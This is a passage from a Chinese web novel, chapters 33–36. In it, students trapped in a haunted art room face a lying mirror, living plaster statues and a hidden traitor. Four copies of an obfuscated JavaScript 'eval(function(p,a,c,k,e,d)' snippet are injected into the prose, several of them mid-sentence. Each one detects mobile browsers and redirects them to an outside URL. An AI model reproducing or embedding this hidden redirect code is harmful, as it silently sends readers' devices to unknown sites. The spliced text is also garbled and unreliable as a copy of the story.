“对……我们赶紧完成吧。”帽子男抹去额头上不知何时冒出来的冷汗,陪着笑容,催促道,“现在想来,校园传说也可能会是虚假。那些说是经历过校园传说的学生们达成了自己的愿望,有可能并不是校园传说的作用,而是他们的主观能动性……呃,我的意思是,我们不要自己吓自己了。” “不是传说哦~” 一道灵动的声音响起,语气俏皮可爱。 “你说不是就不是?你有什么依据吗?”帽子男反问道。 可是话一出,帽子男瞬间意识到,现在可能发生了不太好的事情。 大家神情一僵,呼吸变成了手动挡。 胸腔里的心跳得非常剧烈,震耳欲聋,宣告着大家全部都能想到的事实。 “那不是我们之中任何一个人的声音。”今浅环顾四周,最后,目光定格在了镜子上。 排除掉所有不可能的选择后,现在只有一种可能。 是眼前的镜子,正在说话。 镜子被好好地摆放在他们中间。镜面被擦得光滑铮亮,此时,中间却出现了一团灰色,而只有镜子里,才有这团灰色。 帽子男瞬间失去了笑容,以平时最快的速度冲向门口,拧一下门把手—— 门纹丝不动。 门被锁了! 裴佑尝试去推窗子,其他人去寻找其他的出口。 所有人都无功而返。 这意味着,刚才今浅随口讲的鬼故事成真了。 他们被困在了这间废弃的美术室。 “是刚才最后一个进来的人把门带上了吧。”秦语猜测,“美术室的门锁本来就很久都没有使用了,可能现在门关上后,锁就卡壳了。” “都到了现在这个时候,你还在想那些有的没的?”麻花辫女生难以置信,“这不明显着已经违背了科学的存在了吗——我们现在离不开这间美术室!被某种超自然的力量困住了!” 讲到最后,她的声音都有点绝望。 “我们被困死在了这间教室……为什么……早知道现在会发生这种情况,我当时就不应该答应帮你许愿!” “现在不是我们内讧的时候。”今浅站出来稳定局面,说,“当务之急,我们应该想想如何离开这间教室。虽然门被锁了,但是我们应该可以打破玻璃,从窗户离开。” 但并不是所有人都像今浅一样理智。 “都是因为你!全部都是你的错!”帽子男恶狠狠地瞪着今浅,喘着粗气,就像一头愤怒的野兽,“如果不是你讲刚才那些鬼故事,这只鬼就不会突发奇想,把我们全部都困在这里!” “不是哦~”镜子在说话,它笑眯眯地说,“和她并没有关系。在你们进来的那一刻,你们就无法出去了。” 什么?! 这句话宛若晴天霹雳,大家瞠目结舌,根本就不知道发生了什么。 裴佑一股脑问出了大家心中的问题,有些着急地问:“什么意思?我们怎么会出不去?这不是高中校园传说的许愿吗?” “哎呀哎呀,你的问题可真是多呀。”镜子抱怨,但一一回答了裴佑问的所有问题,“自然是字面意思呀。可以出去哦,不过只能出去一个人,也只会满足一个人的愿望。” “那我许愿,我要赶紧离开这里!”帽子男先抢一步,急切地说。 “不行!应该让我来!我出去!”麻花辫女生反驳他。 两个人一直在争吵。裴佑沉默不语,秦语若有所思,相机男拿着相机,拍摄两位争吵的人。 今浅沉思一会儿,端详着镜子片刻后,朝着正在争吵的两个人说:“这个镜子是在骗我们的。” 麻花辫女生和帽子男愣在原地。 在一旁焦头烂额,试着寻找能打碎玻璃的工具的裴佑闻言抬头。 相机男有些惊讶,手中的相机对着今浅,想记录第一手资料。 今浅很敏锐。 在相机的视线移动到自己身上的刹那间,她抬手挡住自己的脸,温和地说:“书上说了,要好好的保护自己的肖像权。” “啊……抱歉呀,我还没有学到那一课。”相机男也发现自己的失礼,把相机对准今浅脚下的地板。 “你凭什么这么说我?”镜子率先不满,哼了一声。 秦语也出声,问:“你为什么这么想?” “很简单,镜子的说法是相悖的。”今浅解释道,“满足唯一一个出去的人许的愿望。但如果这个出去的人许愿,让所有人都出去,那么他就不是唯一‘出去的人’,自然而然,这个人的愿望是不能实现的,无法让所有人出去。” 此话一出,大家都陷入了沉默。 “哇塞,”镜子语气很夸张,“没想到这一点小巧思都能被你发现了呀!你真的很厉害——可惜了,我还没来得及看你们自相残杀呢。” “什么?自相残杀?” “哎呀呀,好像忘记告诉你们了。不过现在告诉你们,应该也来得及呢。”镜子有些苦恼,但说出的话很恶毒,“你们没发现吗?当你们翻墙进入学校后,学校就变得不一样了吗?那个翻墙的地点按理来说,应该离教学楼最远,不然很容易被你们的老师发现。可为什么刚才只走了几分钟就到了呢?为什么周围的环境那么黑呢?” 镜子每问一句,它就愈发兴奋,而众人的神情就慌乱一分,心愈发沉浸进谷底。 “很明显呀,因为你们都进入了一个非现实的世界。你们只要进来,就相当于你们自愿成为了我们的口粮。”镜子笑嘻嘻地说,“当然,我们也不是那么可恶的鬼怪。所以我们会大发善心的留一个人出去。值得一提的是,所有的愿望我们都能实现哦”。 原来这就是镜子口中的自相残杀。 “那学校口口相传的,向神明祈愿……” “你们人类世界里,商家进行宣传的时候,都会说一些美化加工的话。那么,我们怪谈世界为什么就不能这么做呢?”镜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16226473|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子说得理所当然,理直气壮,“我们这是与时俱进,跟上时代的发展,必要的宣传手段罢了。” “我们……明明还是学生……怎么就……”麻花辫女生陷入了混乱。 “这个世界又不会因为你是一个学生,就会宽容的放你一马。”镜子无所谓地说,“而且,你们难道以为,这个世界只会把你们拉进来吗?当然不是了。除你们之外,还有很多人呢,那些人就等着你们自己发现吧。希望你们能活到那个时候,嘻嘻。” “哦,对了,再给你们好心提醒一句。你们之中,会有内鬼哦。” 众人对视一眼,没再说话,只是默默地后退几步,和彼此保持着一定的距离。 “……我们还继续吗?” 从镜子刚才说出的话中,大家也意识到,根本就不存在许愿和仪式。 自己被骗了,但不愿承认。 “我们先找离开的线索。”今浅说,“这个学校这么大,肯定不止只有一个美术室,也不会只有一种鬼怪单。趁着现在还没有什么异常的现象,我们先想办法离开这间美术室,再想办法找到出去的路。” “那我去讲台那边找找。”秦语起身,脸色不太好看。 “那我……我去后门吧。”裴佑说。 剩下的人也都分好了工,但不约而同的,都选择了独立工作。 窗外响起一声凄厉的猫叫,紧接着,下雨了。 雨声窸窸窣窣的,拍打在窗户上,没有在窗户上留下任何痕迹。 气氛变得微妙。 这间美术室聚集了一群彼此互不相识的人,为了彼此而寻找离开这间美术室的线索,但同时又心照不宣地和彼此保持社交距离,防备彼此的背刺。 “啊……”麻花辫女生惊吓一声,猛然回头语气不善,咄咄逼人,“是谁偷偷摸摸地碰我脚踝!现在就要对我动手?!我虽然不是内鬼,但如果要想跟我鱼死网破,我也会告诉你们,我不是好惹的!” 众人面面相觑,没有任何人敢说话。 “难道你们是想互相隐瞒?!”麻花辫女生顿了顿,意识到自己的态度有些反常,而众人沉默的态度也过于诡异。 她突然心慌,急切澄清,“不是,我真的不是内鬼!你们要相信我!” 大家依旧保持沉默。 今浅迟疑几秒后,说出真相:“刚才,没人碰你。” “不可能!我分明感受到了!我是不可能出错的!”麻花辫女生气得跺脚,已经分不清东南西北,指着帽子男,而后又指向今浅,思绪混乱,说,“还是说你……或者你……偷偷摸摸想对我下手。刚才镜子特地为你说话,想必你们跟它是一伙的!” “可是我们之间的距离很远啊。”今浅说,“我又没有什么技能,可以瞬移到你身边,然后又瞬移回来。这个过程怎么可能会没有脚步声呢?” “是啊,而且这么大的动静,我们彼此又互相看着对方,很容易再碰到你之前被叫住吧。”帽子男说,“不要总觉得这个世界都想害你,你现在身边没有任何人好不好?” “那怎么解释我刚才遇见的……”麻花辫女生神情不安,低下头,看见了一个东西后,瞳孔骤缩。 34. 第 34 章 一只苍白的断手,紧紧的抓住她的脚踝。 很明显的石膏质感。可在苍白的灯光下,这只石膏手就像是有生命一般,麻花辫女生几乎能感受到这只石膏外壳之下,缓缓跳动的脉搏。 “啊啊啊——” 麻花辫女生发出了尖锐的爆鸣声,用另外一只脚踩掉这个断手,就像是在踩死见不得光的蟑螂。 她本以为,自己会受到坚硬的石膏反弹的伤害。 不曾想的是,石膏断手被轻而易举地踩碎成一地,如同踩扁了蛋糕。 麻花辫女生心有余悸,向后跳了几步。 “这些雕像,都活了?”裴佑看到了这一幕,即便经历了刚才会说话的镜子告诉他们这不是现实的事情,依旧难以置信。 “如果那面镜子说的话是真的,那么我们现在得跟这些雕像保持距离。”秦语远离了这些雕像,“目前我们还不知道,这些雕像会用什么手段来攻击我们。” “但是,只要有视线落在它们身上,它们就不会移动。”今浅观察片刻后,得出这个结论,“刚才她被雕像抓到的时候,显而易见她没看见雕像。” 裴佑说:“既然如此,我们只要背对背看着它们就好了。那么,这些雕像就不会移动,我们也能够在这基础上,摸清楚这间美术室的秘密,尽力找离开这间美术室的线索。” 此话一出,大家都沉默了。 刚才镜子说了,在他们之间,可是存在着内鬼。 在怀疑和犹豫的前提,谁也不敢把自己的后背交给对方。 “你们看,这些雕像刚才攻击我,说明我是好人,我不是内鬼。”麻花辫女生急切证明自己的清白,“所以,你们可以完全相信我。” “话可不能这么说。”帽子男说,“我也是玩过狼人杀的,两只狼对跳也不是一件不常见的事情。” “你这么针对我,想必你肯定就是内鬼!”麻花辫女生果断说。 “你凭什么这么污蔑人?!”帽子男气打不过,撩起拳头就想上前。 可此时,他却发现,自己的手脚全部都变成了石膏,无法移动。 “怎么……怎么回事?!我的手……还有我的脚……”帽子男万分惊恐,他只觉得自己的手脚宛若千钧之重,紧紧依靠躯干的肌肉力量无法拉动起变成石膏的四肢,以至于他只能勉强保持着站立的姿势,以防摔倒。 “我刚才明明没有碰到石膏!” “不,你有。”今浅说,“你在拿镜子的时候,曾经踩在这些雕像身上。” 闻言,帽子男脸色一白。 大家不约而同看向裴佑。刚才裴佑也在接过镜子的时候,碰到过石膏雕像。 裴佑一愣,伸出双手,举过头顶,给他们展示手面和手背:“我什么问题都没有,没有碰到什么石膏雕像。” 帽子男绷不住了,他的语气里流淌着深深的绝望:“明明你也碰到了,你怎么就没有被石化?” “那么只有一种可能,你就是那个内鬼!”帽子男不由裴佑争辩,一语定夺事情真相,“否则你怎么解释,你没有变成石膏这件事情!” “?不是,我真的是活人!你看,我的皮肤非常有弹性,是柔软的。”裴佑没想到这份嫌疑会落到他的头上,他揉着自己的脸,证明自己是人类,而不是地上躺着的这些石膏雕像。 “可能是他懂礼貌?”今浅看着帽子男,说,“刚才他还跟雕像道歉来着。” “……”帽子男深吸一口气,神情冷凝,视线落到秦语身上,说,“你来说,这种情况下,很明显,裴佑不算是人吧。” “你有病吧?你自己变成不人不鬼的样子,还骂我不是人。秦语,你要相信我,我肯定是人类。我知道你想让我们许什么愿望,包括你来的目的是什么。” 裴佑躺枪,转过头看着秦语,力图想让她相信自己是人。 秦语不知如何判断,便看向今浅,说:“……你来判断吧。” “?” 今浅没有想到,自己会莫名其妙得到她的信任。 镜子可是说了,他们之中有内鬼,。 自己是新加入他们的成员,理应会比其他人更难相信。 “为什么选我?”今浅好奇。 “就是,她明明是新来的,要论信任,也要论到我头上吧。”麻花辫女生很不满。 “因为她看起来懂得很多,刚才讲的那些故事都灵验了,应该很靠谱。”秦语犹豫片刻,说,“而且,在刚才的争吵中,只有她是站出来维持秩序,倡导去寻找离开的线索。” 内鬼不可能会希望他们离开,内鬼更希望看着他们自相残杀,互相猜忌,最后,坐收渔翁之利。 秦语的语气很平淡,但是落到今浅身上的目光不由自主的多了几分期待:“所以,你来判断吧。” “……” 第一次被委以重任,特别是顶着如此期待的目光,今浅态度认真了。 她的目光在裴佑和帽子男之间徘徊片刻,今浅说:“我觉得,裴佑应该是人。其他的不好说。” “看吧,我就说我是人!”裴佑激动,朝着今浅说,“抱歉了,之前还以为你是一个普普通通的保洁,可没有想到,你既然是如此有眼光的存在!” 他终于证明自己是人了。 “是因为他的反应太奇怪了吗?”秦语皱眉,她能拿到的线索还是太少了,以至于现在跟不上今浅的思路。 “为什么?!”帽子男难以置信。 “啊,因为你现在看起来就不像人。”今浅摊手,说,“可能是我从乡下出来的吧,我还没有见过活人的四肢都是石膏来着。” 秦语:……? 听到如此草率的回答后,秦语开始后悔自己交付给今浅的信任。 帽子男:…… 众人陷入了诡异的沉默。 也正是因为这个沉默,美术室里的奇怪异响就越发清晰。 “这个声音是……有什么东西在布的下面移动吧。”相机男说。 “很明显,就是那些雕像。”秦语说,“在布下面,我们就看不见它们,它们就能自由移动。” “那么,我们把这些布给揭掉,这样既能看见这些雕像,不让这些雕像移动,又可以看这些布下面有什么有用的线索。”裴佑。 “你的问题很好。”今浅微笑,“问题是,现在谁来做这件事呢?” 大家的神情变得微妙。 剩下的布盖住了雕像,可与此同时,其他雕像也压在了这些布上面。如果要揭开布,要么不可避免地移开雕像,要么会把雕像砸碎。 如果移开雕像,那么碰到的部位就会变成石膏。 如果直接掀开布,那么就只能砸碎雕像。而现在,关于砸碎雕像的惩罚,他们现在还一筹莫展。 唯一有破坏雕像的也只有麻花辫女生,可是她在破坏雕像的时候已经半石像化,这种时候无法确定惩罚的范围。 “……反正你们也觉得我是内鬼,我才不要做这种吃力不讨好的事情呢。”麻花辫女生冷笑着说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16237983|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 帽子男也没有说话,但是他沉默的态度已经告诉众人,他赞同麻花辫女生的说法。 难办的是,他们俩人的位置正好处于那些布的旁边。 如果派人去掀布,还得提防这两人的潜在危险。 从今浅对这两人的观察中,她可以很清楚的知道一件事情。 这两个人觉得,在场除自己以外的所有人,都是内鬼。 秦语犹豫着该如何劝说那两人,让他们配合。裴佑和帽子男也看起来,不太愿意上前去做这件吃力不太讨好的事情。 除了要提防麻花辫女生和帽子男以外,其他的人也还得小心面对。 他们之间没有纯粹的信任。 镜子只是说了,他们之中存在内鬼;可是并没有说,他们之中只存在一个内鬼。 “我来吧。”今浅走上前来。 正好,她也要验证一些东西。 今浅看起来非常悠闲自在,就像是在自家院子的后花园散步,没有任何设防,以至于,秦语下意识叫住今浅。 “诶,等等……”话从嘴里说出来之后,秦语才愣了片刻。 她也不知道该说什么。 “没事的,放心吧。”今浅伸手,一把掀开布,余光中有个什么东西冲着自己来。 今浅飞快蹲下,躲过了那个突如其来的物品。 与此同时,那个东西砸到了今浅身后的墙壁,顿时粉碎,万千石膏碎片反弹,今浅不得不用自己的左手挡住那些碎片。 在碎片碰到自己手的一瞬间,今浅只感觉自己逐渐失去了手臂上的直觉。 但这一切都在今浅的意料之内。 现在,就要看,这页纸能不能使用了。 今浅闭上眼睛,触摸口袋里的纸页,心里默念:“金属化左手手臂。” 【已使用主动技能,金属化。】 几乎是脑海里响起声音的同时,今浅只感觉左手一沉。 今浅的左手已经变成一根铁棍,同时,她也完完全全无法感受到了左手的存在。 “你……你……你的手。”其他人看着这一场面,瞠目结舌。 “放宽心,在怪谈世界里受伤并不会影响到现实。”今浅笑了一下,右手试着摘掉了原本的“左臂”。 很好,没有任何的痛觉。 她变成了铁棍独臂侠。 “不……你的手,难道不应该变成石膏吗?”刚才在今浅背后偷袭的麻花辫女生,难以置信。 与此同时,那些白色的石膏逐渐爬满了刚才她接触石膏的手臂。 “我也很遗憾。”今浅叹气,“铁棍虽然也能用,但又不是金的和银的,未免也太令人失望了……不过这并不是重点。” 大家一愣。 “我从乡下来的,学不懂你们城里人文邹邹的语言谈判技巧。但还好,我至少略懂几分拳脚。刚才的表演,你们也看到了。”今浅微笑,“所以接下来的行动,请不要有二心,并乖乖听我的话。” “可是你这样……明明也不像人啊。”裴佑声线颤抖,“你这要我们怎么相信你?” “不,你错了。”今浅微笑,诚实中带点诚恳的劝导,“我并不是想要说服你们相信我,而是在用武力威胁你们,必须得听我的话。” 威……威胁!! 在场的所有人身形一顿,皆难以想象自己听到了什么惊世骇俗的话。 他们都没有想到,这个世界上居然会有人,把威胁说的如此冠冕堂皇,理所应当,光明正大。 35. 第 35 章 “很好,看来大家并没有什么异议,都是识时务者的俊杰呀。”今浅感叹,“果然,书上说的没错。比起轻飘飘的口头语言,还是实际行动更能让人信服。” 众人:…… 您理解的“实际行动”和他们理解的实际行动,好像不是同一个东西呢。 “可是……”相机男斟酌语句,说,“如果你在中途变卦,想要杀死我们,或者拿我们当检验陷阱的工具,我们不也得死嘛……” 正常人都不会随便把自己的性命交给萍水相逢的、不知道其底细的陌生人吧。 “可能是我的措辞太礼貌了吧,以至于,你们还是没有认清楚现实。”今浅环顾众人,扬起手中的棍子,果不其然看见众人发白的面目流露出几分畏惧。 她顿了顿,还是露出礼貌的微笑,说:“我并不是在给你们做选择题,而是一个简单的通知。” 大家缄口不言。 秦语抬头,看向今浅,说:“好,需要我们怎么做,你尽管说。” “秦语,可是她这个人,我们还不知道她的底细,万一她是内鬼……”裴佑有点着急,担心秦语上当受骗。 “可是现在,没有比听她的话更好的选择了。”秦语微微偏头,认真地解释。 “我们现在已经被困在这间美术室。敌对方告诉我们之间有内鬼,而且这些雕像会在我们看不见的地方移动。” 秦语站直身体,拿稳手中的蜡烛。 白色的光在她的脸上摇曳,如同水面反射的光影。 “如果不听她的话,我们要么就是互相猜忌,呆在原地对峙,比谁的命更长,熬到海枯石烂,油尽灯枯;要么就互相背刺乱杀,最后留下一个人出去——当然,还不一定会有一个人出去。” “无论是哪个,我们的下场都不会好过。”秦语顿了顿,看向今浅,视线很复杂,说,“既然两个选择都吃力不讨好,我们也只能破釜沉舟,赌一把你的思路是正确的,听你的命令……你应该不会卖掉我们吧?” “放心,我说话算话。只要你们不先伤害我,我是绝对不会伤害你们的。” 今浅弯腰,捡起刚才将左手臂金属化后,掉到地上的蜡烛。 燃烧的蜡烛已经滚到了角落的木地板上,但苍白的火苗安分守己,乖乖躺在蜡烛的火线上,没有跑到其他地方。 怪谈世界总会有这种超现实的现象。 但这也恰恰证明了,这根蜡烛绝不是普通的蜡烛。 今浅站在角落,这个视角能清晰的看见整间美术室:“那么现在,大家来到我的旁边吧。” 秦语走了几步,裴佑追上秦语,但离今浅还有一定的距离,显而易见,他心存怀疑。 相机男看了一眼,倒在雕像旁,咬牙切齿,心存不甘的帽子男和麻花辫女生,又看着今浅旁边的人。 他小声说了句“抱歉”,便走到今浅旁边。 “不是,你们这么相信她的话吗?那为什么不相信我的话?”帽子男难以置信。如果自己的手还能够使用的话,他恨不得如同摇鸡蛋一样,把这些人给摇醒。 “你们也可以过来的。”今浅说,“我大人有大量,还是不会计较你们之前对我的针对和冷嘲热讽的。” “是呀,你们快过来吧。”裴佑说,“我们都是一个学校的。那些恩恩怨怨的还是早点放下吧,活下来,并且离开这里,才是我们最重要的目的。” 帽子男神情一滞,麻花辫女生也低头,默不作声。 “他们过不来。”今浅低头看着蜡烛,轻飘飘地说,“因为,你一直在看着他们。” “看着?这有什么不好意思的……不对。”裴佑大大咧咧地说,话刚从嘴里说出来,就意识到了不妙,“如果我没记错的话,这些雕像,也是在我们看见的时候不会移动吧。” “轰隆——” 窗外明亮的闪电照亮了美术室,同时一道惊雷突兀响起。 雨越来越大,窸窸窣窣,交织成了灰黑色的雾。 “显而易见,他们真的不是人类。”秦语后退几步,喃喃道,后背一阵发凉。 如果不是今浅刚才让他们移动位置,他们甚至还不能知道,自己的同伴是什么时候变成了鬼。 “我们身上的皮肤,好像都变白了。”相机男突然开口,说。 “那还挺好的,省了美白的钱。”裴佑随口一说,突然感觉到了哪里不对。 他低下头,看清楚皮肤上的那些是什么时,顿时毛骨悚然,后背就像是被针刺了一样。 不止裴佑,今浅和秦语也是如此。 他们的皮肤已经被白色的细微颗粒覆盖,就像是身上刷上了细腻的石膏。 “这是怎么回事?”裴佑惊恐。 他疯狂的想要搓掉这些脏东西,然而只能搓下一层层石膏粉末,搓久了,手臂似乎也有着火辣辣的痛。 “别搓。”秦语制止裴佑的动作,“我看出来了,这些石膏是你身上的一部分。如果你搓掉了表层,那么你的皮肤也会消失了。” “我们的时间不多了。”今浅皱眉,说,“我们必须赶紧离开这间美术室,否则迟早要被这个美术室同化,成为这些雕像的一员。” “哈哈哈,你们也迟早要落到跟我们一样的下场了!”帽子男大笑。 “不要慌。”今浅沉吟片刻,说,“你们三个,派两人轮流盯着这些雕像,剩下一人去找线索。” “那你呢?” “我?”今浅走向这些雕像,顺手扛起铁棍,回头看了他们一眼,理所当然地说,“那自然是先试试,打碎这些雕像的后果喽。” 书上说了,如果不能想出问题的解决方法,就先想办法解决问题的本身。 “你倒是……”裴佑有些复杂。 他现在是看出来了。 虽然今浅口上说着威胁他们,但是她实际上确实做了这些最苦最累,危险程度最高的活。 “别愣在这了,你和那个拿相机的,好好看着那些雕像,尤其是要警惕倒地的那两位。”秦语说,“我去翻翻布,看看上面有没有什么线索。” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16237984|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们刚才找了一大圈,都没有发现有效的信息。 唯一没有找过的,也就只有那些布料。 今浅拿着铁棍,敲击着这些雕像。 她几乎没怎么用力,这些雕像很容易就碎掉了,像是被堆起来的灰尘,根本就没有石膏的硬度。 敲了一大半,今浅停下手中的动作。 她踩着粉碎的石膏,铁棍杵地,四周一片狼藉,陷入沉思。 不太对。 今浅皱眉。 怪谈世界的事情超越了日常生活中的常理,但不会改变太多。 自己金属化后的手臂,便拥有着金属的硬度。 这些石膏雕像,也应该拥有石膏的硬度。 如果说,自己金属化的技能来源,不是这个怪谈世界的,可是自己身上已经生出白色石膏颗粒,理应动作速度放缓,逐渐动弹不得,就像地上躺着的帽子男和麻花辫女生一样。 今浅活动着关节,并没有察觉到身上有受阻的痕迹,仿佛身上这些白色的东西,只不过是一层洁白的颜料。 等等,如果是颜料的话…… 今浅脑海里闪过一丝不可置信的猜测,与此同时,秦语的声音响起。 “这些雕像,不是石膏!”秦语有些着急,举着手中的布。 那块布正好是裴佑用来擦过镜子的,此时上面的灰尘凸显出几行娟秀的字迹。 秦语几乎不敢相信上面的字迹信息,说,“如果碰到这些雕像,我们会失去相应部位的颜色,从而褪色!” “哎呀呀,居然这么快就有人看出来了。突然被发现自己小巧思的感觉,实在是很奇妙呢。” 那道活泼的声音再次响起。 大家迅速看向镜子,镜子里面空无一物。 “是在雕像里。”相机男指着那些一地的雕像残骸。 “实在是太有趣了,好久都没有人走到这一步了,小A真的好无聊啊。”那道声音闷闷地说,“不过现在太好啦,终于有人陪小A玩啦!” “你的条件。”今浅说。 “只要你们能把我找出来,我就告诉你们离开这个学校的方法,很划算的吧!”小A笑嘻嘻地说。 “躲猫猫呀。”秦语若有所思,“听起来很容易,但是应该没这么简单。” “这没关系,我可是躲猫猫游戏的高手。更别提,我对我们学校还是非常熟悉的。”裴佑终于找到了自己的用处,非常自信,叉腰。 “可以,但是你得让我们离开这间美术室。”今浅说,“这个学校这么大,我们可以慢慢陪你找。” “我就在这个美术室哦,根本就不用离开。” “在这间教室里?”裴佑一顿,“那为什么,你不自己找呢?” “因为呀,我也不知道我在哪里。所以我更不会偷偷告诉你们答案啦。”小A试图卖萌,但是无人在意。 “如果你们没找到我,那么你们就要留下来陪我哦。就像这些雕像一样。”小A说,“不过看来,你们的时间已经不多了,陪我是迟早的事情。” 36. 第 36 章 小A的话音刚落,众人只看见天花板上突然多了几个红色的血字。 【倒计时:14:57】 “15分钟的倒计时。”秦语愣愣地后退几步,只感觉莫大的绝望席卷了全身,喃喃道,“这么少的时间,我们怎么找的到啊。” “我们真的要陪它玩这个游戏吗?”裴佑不安,看向今浅,说,“我记得你最能揣测别人的心思了,当时把我说得一愣一愣的。你说,它说的是不是真的。” “……嗯?”今浅手中动作一顿。 话题怎么突然跳到了这里。 “她能猜得准,是因为你的表情全都写在脸上,就算换个傻瓜过来,也照样能读懂你的心思。”秦语瞥了一眼裴佑,说,“再者,你倒是说说,它哪里算人了。” “原来在你眼里,我是那么的单纯可爱呀。”裴佑有些不好意思,“不过,毕竟我是咱百年高中的一枝花,你这么想我,我也可以理解啦。” 秦语:……? 她好像没在夸他吧。 秦语早就习惯裴佑突然抽风的时候,她熟视无睹,扭头看向今浅,而后口中的话临时转变:“……大神,你在干什么啊?” 今浅手中动作一顿。 她正移动着两位半人半雕像的存在,让它们挪动方向,面朝剩下的雕像群。 一直盯着雕像太累了,她想知道,让雕像自己看自己会有什么后果。 两位“雕像”眼神即将喷火,仿佛下一刻就要将今浅拆卸入肚。而今浅面色不改,淡定地说:“我在搬运我们的劳动力。” 她一边说,一边拖动两位雕像人。 “你不怕褪色了?”裴佑艰难开口。 “反正刚才早就褪色了,现在再担心也来不及了。”今浅说,“倒不如趁着现在‘变异’,多充分利用一下,防止浪费。” 秦语:……!! 裴佑:好,好有道理。 不愧是大神,就算面对想要杀死自己的存在,也依旧心如止水! 他们一听,也是这个道理,便上前,一起帮今浅推雕像。 帽子男和麻花辫女生现在几乎整个身体都变成了雕像,只有面部的五官传递出二人并不平静的心情。 迎着恶狠狠的视线,今浅知道,它们是在责怪她,为什么不救它们,还不把它们当成人来对待。 可是,如果帽子男当初并没有冒犯雕像,它就不会加快变成雕像的进程。 如果麻花辫女生当时没有抄起旁边的雕像攻击今浅,它的双手也不会变成雕像。 能到现在的地步,一切都是它们咎由自取,与旁人无关。 面对这些惨痛的遭遇,今浅也只能在心里默哀,以表对它们的同情。 她也只是个普通人类,做不到料事如神,起死回生。 几个人忙活了一会儿后,天花板上的倒计时少了五分钟。 但好在,在这两个半人半鬼的目光下,剩下的雕像也确实没有再移动了。 “事到如今,我们只能听它说的做了。”今浅蹲下,手中的铁棍竖直杵在地上,像是再支撑,若有所思,“找出它的真身。” 今浅神情郑重,面前是她插在地上的蜡烛。 其他人也纷纷围过来,效仿她的样子,将手中的蜡烛放在面前,然后蹲下。 他们围成一圈,手里都拿着蜡烛,今浅没有动,他们也不敢动。 苍白的烛光让在做的各位比雕像都像个雕像。 秦语确认大家的蜡烛摆放得没有问题后,点头,神情严肃,说:“蜡烛已经放好了。” “然后呢,大神?”裴佑忍不住打破沉默,斟酌地猜测,“难道我们蹲着的位置,就是那个小A的存在?” “不是。”今浅摇头。 在众人期待的目光下,今浅开口:“我只是站久了,腿有点麻,蹲下来休息一会儿。” 众人:…… “等等……你们快看看我们手中的这些蜡烛。”裴佑突然出声,声音有些惊喜。 今浅低头,手中的蜡烛火苗在空中摇曳,就像是被风吹乱的枝条。 “咦,我们蜡烛火苗的朝向好像都是一样的。”秦语仔细观察,扫了一圈众人的蜡烛后,说,“难道,这个火苗的朝向,就是那个小A的藏身之处?” 意外之喜让大家松了一口气,但很快,火苗的朝向让他们不由自主地皱起眉头。 “是在雕像的深处。”今浅眯着眼睛,看清指向后,说,“有点糟糕了,那些雕像长得跟我刚才砸的雕像不一样。” 她砸的雕像大多都是四肢健全的。 然而,深处的那些雕像却恰恰相反。 它们就像歪瓜裂枣,四肢残缺,到处是伤痕。头部的五官扭曲变形,如同在人还没有反应过来的时候立刻浇筑滚烫的石膏液后,流露出来的狰狞痛苦模样。 仅仅只是稍微看它们一眼,她就能感受到巨大的痛苦,就像是置身处境,亲自遭受过一边。 “这很简单,我直接上吧。”裴佑看了眼天花板上倒计时的时间,撩起袖子,正打算上前,却被秦语拦住了。 “先不要过去。”秦语皱眉,嫌弃地看了一眼那些雕像后,撇过头不去看雕像,低声说,“那些雕像有问题。” “还好吧。”裴佑扫了一眼,挠挠头,说,“顶多就是长得扭曲了些,具有精神冲击力而已。” 今浅捡起地上较大块的石膏碎片,扔向那些雕像。 碎片在空中划过一道优美的抛物线,随着破空声急速下降。 就在众人以为,石膏碎片砸到雕像后,两者至少有一个会粉身碎骨时,下一刻,那些扭曲的雕像瞬间“噌”一下起跳,互相争夺着这块碎片。 他们还没看清扔去的石膏落位,这些雕像就又恢复了平静,仿佛刚才什么都没有发生。 “卧槽?!这些雕像,居然是活的?!” 裴佑瞠目结舌,心猛地一沉,后背不可避免地泛起冷汗。 如果刚才秦语没有拦住他,而今浅没有抛一个石膏试试,那么这块石膏的下场就会是他的命运。 “心理战而已。”今浅指着天花板上逐渐变少的倒计时,说,“就是为了让你着急,等你出错的机会。” “可是,它们不是不会动吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 